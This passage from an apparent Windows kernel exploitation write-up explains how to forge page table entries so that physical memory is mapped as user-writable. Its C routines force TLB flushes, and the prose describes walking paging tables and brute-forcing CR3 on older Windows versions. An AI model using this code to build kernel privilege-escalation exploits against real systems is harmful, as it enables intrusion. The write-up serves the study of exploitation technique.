Text

3) This is a little more complex and hardware/os dependent. Paging structures are cached in the TLB (Translation Lookaside Buffer) for performance reasons.

After using our mapping primitive we need a way to invalidate or flush the TLB, or else the changes made to the paging tables are not going to be immediately propagated (since the old values are cached).

The way we try to force Windows to trigger a TLB flush seems to be very hardware dependent. On some processors, a page fault could be enough to force a TLB flush, on others a task switch (CR3 reload) is required, and in some cases, even that isn't enough and may require an IPI (Inter-Processor Interrupt).

The way I solved this (though not 100% reliable) is to try all of the above.

LPVOID pNoAccess = NULL; STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; typedef NTSTATUS(__stdcall *_NtQueryIntervalProfile)(DWORD ProfileSource, PULONG Interval); _NtQueryIntervalProfile NtQueryIntervalProfile; VOID InitForgeMapping() { pNoAccess = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_NOACCESS); dprint("NOACCESS Page at %llx", pNoAccess); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); CreateProcess(0, "notepad.exe", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); } VOID ForcePageFault() { DWORD cnt = 0; while (cnt < 5) { __try { *(BYTE *)pNoAccess = 0; } __except (EXCEPTION_EXECUTE_HANDLER) {} cnt++; } } void ForceTaskSwitch() { BYTE buffer=0; SIZE_T _tmp = 0; ReadProcessMemory(pi.hProcess, (LPCVOID)0x10000, &buffer, 1, &_tmp); ReadProcessMemory(GetCurrentProcess(), (LPCVOID)&_tmp, &buffer, 1, &_tmp); FlushInstructionCache(pi.hProcess, (LPCVOID)0x10000, 1); FlushInstructionCache(GetCurrentProcess(), (LPCVOID)&ForceTaskSwitch, 100); } void ForceSyscall() { DWORD cnt = 0; ULONG dummy = 0; NtQueryIntervalProfile(2, &dummy); } VOID MapPageAsUserRW(ULONG64 PhysicalAddress) { if (!pNoAccess) InitForgeMapping(); MMPTE NewMPTE = { 0 }; NewMPTE.u.Hard.Valid = TRUE; NewMPTE.u.Hard.Write = TRUE; NewMPTE.u.Hard.Owner = TRUE; NewMPTE.u.Hard.Accessed = TRUE; NewMPTE.u.Hard.Dirty = TRUE; NewMPTE.u.Hard.Writable = TRUE; NewMPTE.u.Hard.PageFrameNumber = (PhysicalAddress >> 12) & 0xfffffff; SetPageEntry(0, NewMPTE); ForcePageFault(); ForceTaskSwitch(); ForceSyscall(); }

4) We are required to know the actual physical address of the PML4 table (the value of CR3) otherwise it would not be possible to remap a target virtual address to the one under our control.

Let's say we know there's certain interesting value at Virtual Address 0xFFFFF900C1F88000 that we want to write. We would need to walk the paging tables, PML4-->PDPT-->PD-->PT-->[physical address], then write a valid _MMPTE with that physical address to ADDR2a (ie: 0x71080000000).

So when we write to ADDR1a (ie: 0x71000000000) we would be writing the same physical memory as if we were writing to 0xFFFFF900C1F88000.

Guessing CR3:

To start walking the paging tables we are _required_ to know the physical address of PML4.

On newer hardware, we could use Enrique Nissim's technique to guess our PML4 entry on latest Windows 10 editions.

(check Enrique's paper and code here: https://github.com/IOActive/I-know-where-your-page-lives)

But, we'll focus on older hardware/windows versions (Windows 7/8/8.1 and 10 Gold) so we can solve this by using brute force.

We can query the registry for valid physical address ranges. (take a look at HKLM\HARDWARE\RESOURCEMAP\System Resources\Physical Memory)